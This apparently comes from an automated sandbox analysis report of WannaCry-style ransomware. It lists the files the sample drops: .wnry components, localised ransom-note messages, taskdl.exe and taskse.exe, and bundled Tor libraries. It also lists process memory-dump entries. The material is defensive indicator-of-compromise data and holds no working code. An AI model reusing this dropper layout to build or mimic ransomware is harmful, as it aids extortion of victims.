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C:\Users\Admin\AppData\Local\Temp\@[email protected]

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C:\Users\Admin\AppData\Local\Temp\@[email protected]

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C:\Users\Admin\AppData\Local\Temp\@[email protected]

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\LIBEAY32.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\SSLEAY32.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libevent-2-0-5.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libgcc_s_sjlj-1.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libssp-0.dll

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe

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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\zlib1.dll

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C:\Users\Admin\AppData\Local\Temp\b.wnry

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C:\Users\Admin\AppData\Local\Temp\c.wnry

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C:\Users\Admin\AppData\Local\Temp\c.wnry

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C:\Users\Admin\AppData\Local\Temp\m.vbs

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C:\Users\Admin\AppData\Local\Temp\msg\m_bulgarian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_chinese (simplified).wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_chinese (traditional).wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_croatian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_czech.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_danish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_dutch.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_english.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_filipino.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_finnish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_french.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_german.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_greek.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_indonesian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_italian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_japanese.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_korean.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_latvian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_norwegian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_polish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_portuguese.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_romanian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_russian.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_slovak.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_spanish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_swedish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_turkish.wnry

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C:\Users\Admin\AppData\Local\Temp\msg\m_vietnamese.wnry

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C:\Users\Admin\AppData\Local\Temp\r.wnry

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C:\Users\Admin\AppData\Local\Temp\s.wnry

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C:\Users\Admin\AppData\Local\Temp\t.wnry

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskdl.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\taskse.exe

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C:\Users\Admin\AppData\Local\Temp\u.wnry

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C:\Users\Admin\Desktop\@[email protected]

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libevent-2-0-5.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libgcc_s_sjlj-1.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libgcc_s_sjlj-1.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\libssp-0.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\ssleay32.dll

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\Users\Admin\AppData\Local\Temp\TaskData\Tor\zlib1.dll

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memory/424-38-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

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memory/584-0-0x0000000000000000-mapping.dmp

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memory/640-1-0x0000000000000000-mapping.dmp

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memory/1292-507-0x0000000000000000-mapping.dmp

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memory/1360-49-0x0000000000000000-mapping.dmp

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memory/1364-47-0x0000000000000000-mapping.dmp

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memory/1488-50-0x0000000000000000-mapping.dmp

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memory/1488-51-0x0000000000000000-mapping.dmp

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memory/1636-538-0x0000000000000000-mapping.dmp

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memory/1672-504-0x0000000000000000-mapping.dmp

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memory/1784-39-0x0000000000000000-mapping.dmp

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memory/1896-535-0x0000000000000000-mapping.dmp

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memory/1992-509-0x0000000000000000-mapping.dmp

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memory/2056-41-0x0000000000000000-mapping.dmp

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memory/2108-59-0x0000000000000000-mapping.dmp

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memory/2144-506-0x0000000000000000-mapping.dmp

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memory/2308-43-0x0000000000000000-mapping.dmp

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memory/2540-54-0x0000000000000000-mapping.dmp

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memory/2544-505-0x0000000000000000-mapping.dmp

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memory/2548-57-0x0000000000000000-mapping.dmp

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memory/2612-534-0x0000000000000000-mapping.dmp

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memory/2628-86-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-96-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-410-0x0000000003480000-0x0000000003481000-memory.dmp

Filesize
4KB

Download
memory/2628-330-0x0000000003480000-0x0000000003481000-memory.dmp

Filesize
4KB

Download
memory/2628-329-0x0000000003C80000-0x0000000003C81000-memory.dmp

Filesize
4KB

Download
memory/2628-328-0x0000000003480000-0x0000000003481000-memory.dmp

Filesize
4KB

Download
memory/2628-327-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-61-0x0000000000000000-mapping.dmp

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memory/2628-228-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-165-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-164-0x0000000003790000-0x0000000003791000-memory.dmp

Filesize
4KB

Download
memory/2628-163-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-109-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-80-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-92-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-81-0x0000000003790000-0x0000000003791000-memory.dmp

Filesize
4KB

Download
memory/2628-88-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-82-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

Download
memory/2628-83-0x0000000002F90000-0x0000000002F91000-memory.dmp

Filesize
4KB

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memory/3436-540-0x0000000000000000-mapping.dmp

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memory/3452-79-0x0000000000000000-mapping.dmp

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memory/3880-511-0x0000000000000000-mapping.dmp

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memory/3920-55-0x0000000000000000-mapping.dmp

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memory/3952-541-0x0000000000000000-mapping.dmp

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memory/4012-513-0x0000000000000000-mapping.dmp

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